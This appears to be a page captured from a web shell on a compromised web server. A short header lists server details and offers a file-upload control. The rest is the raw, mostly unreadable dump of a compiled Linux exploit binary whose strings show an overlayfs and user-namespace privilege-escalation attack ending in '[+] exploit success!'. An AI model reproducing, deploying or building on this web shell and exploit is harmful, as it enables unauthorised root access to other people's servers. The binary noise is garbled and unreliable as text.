|
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17 System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64 User : nobody ( 99) PHP Version : 5.2.17 Disable Function : NONE Directory : /home/queenjbs/www/files/muti/shop/data/ |
Upload File : |
ELF > @ H; @ 8
@ @ @ @
0 0 , < < 0 8 , < < 8 8 8 0 0 h h h D D Std 8 8 8 0 0 Ptd ! ! ! \ \ Qtd Rtd , < < /lib64/ld-linux-x86-64.so.2 GNU GNU ͙>|?7z4= GNU em \ | w O F , h " _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable cap_free cap_get_proc cap_to_text __cxa_finalize read write getpid __libc_start_main getuid puts fflush system close open getgid strlen err sprintf fork wait mount perror __errno_location exit unshare __stack_chk_fail mkdir libcap.so.2 libc.so.6 GLIBC_2.4 GLIBC_2.2.5 GLIBC_2.34 2 ii
< ui F R < ` < @ @ ? ? ? ? ? ? ? ? ? (? 0? 8? @?
H? P? X?
`? h? p? x? ? ? ? ? ? ? ? ? ? ? ? HH/ HtH 5. %. h h h h h h h h q h a h Q h
A h 1 h ! h
h h h h h h h h h h q h a h Q % . D % - D %- D %
- D %- D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %}, D %u, D %m, D %e, D %], D %U, D 1I^HHPTE11H=y 3, f. H=Y, HR, H9tH, Ht H=), H5", H)HH?HHHtH+ Htf D =+ u+UH=+ Ht H=+ d+ ] w UHHH}uUHEHsu,Y t HEHH\ Hƿ " UHH H}HuHE HǸ %E}u HEHH Hƿ HEH0HEHUHMEHΉH9Et HEHH
Hƿ EG UHH0 HdH%( HE1H HǸ fu#HHHG
Hƿ Dž HHH HΉH̋HƄ HHH HǸ ILHEdH+%( t UHSH(dH%( HE1dHEHE HUHEHH%H}HډHa HǸ
HEH>HEdH+%( tiH] UHH H $ H dH%( HE1HH H
HHǸ HH( H H H H H H H H H HH HǸ uH Hƿ H HH H|HH
HHǸ HHHi H?HH
F HHǸ HHH? HHL H HH H5+ HǸ NHI H+ HH HH H<u#Hl HH Hƿ H HHH3 H
HHǸ HHHH H
HHǸ H A HǸ > yH H0 HUdH+%( tZ UHH0 HdH%( HE1( u HHH HHH H
HHǸ HH HUdH+%( t HH mkdir %s open %s write %s len %d
The process %d was give capabilities %s
./ovlcap/upper rm -rf '%s/*' ./ovlcap ./ovlcap/work ./ovlcap/lower ./ovlcap/merge uid:%d gid:%d
unshare deny /proc/self/setgroups 0 %d 1 /proc/self/uid_map /proc/self/gid_map lowerdir=%s,upperdir=%s,workdir=%s overlay mount %s [+] mount success ls -la %s %s/file open [+] exploit success! ;X
L \ t = $ D h zR x & D $ 4 FJ w ?:*3$" \ t X EC
O 1 EC
EC
EC
E EC
0 EC
` & 2
< < o
] > p x o o x o o 6 o < 0 @ P ` p 0 @ P ` p @ GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0 3 I @ U < | ` < i X l
,# < ! > : W e @ s @ - + @ R c @ p @ @ i & @ { ! * > O @ [ u " Scrt1.o __abi_tag crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry exp.c xmkdir xwritefile xreadfile exploit __FRAME_END__ _DYNAMIC __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ cap_to_text __libc_start_main@GLIBC_2.34 __errno_location@GLIBC_2.2.5 _ITM_deregisterTMCloneTable mkdir@GLIBC_2.2.5 puts@GLIBC_2.2.5 unshare@GLIBC_2.4 write@GLIBC_2.2.5 getpid@GLIBC_2.2.5 _edata _fini strlen@GLIBC_2.2.5 mount@GLIBC_2.2.5 __stack_chk_fail@GLIBC_2.4 getuid@GLIBC_2.2.5 system@GLIBC_2.2.5 close@GLIBC_2.2.5 read@GLIBC_2.2.5 __data_start __gmon_start__ __dso_handle _IO_stdin_used getgid@GLIBC_2.2.5 err@GLIBC_2.2.5 fflush@GLIBC_2.2.5 cap_get_proc _end __bss_start main open@GLIBC_2.2.5 listCaps perror@GLIBC_2.2.5 cap_free sprintf@GLIBC_2.2.5 exit@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable wait@GLIBC_2.2.5 __cxa_finalize@GLIBC_2.2.5 _init fork@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment # 8 8 0 6 h h $ I W o $ a i ] q o 6 6 @ ~ o x x @ B x x p X
! ! \ ! ! P < , < , < , > . @ 0 @ 0 0 0 + @0 0 p6 (: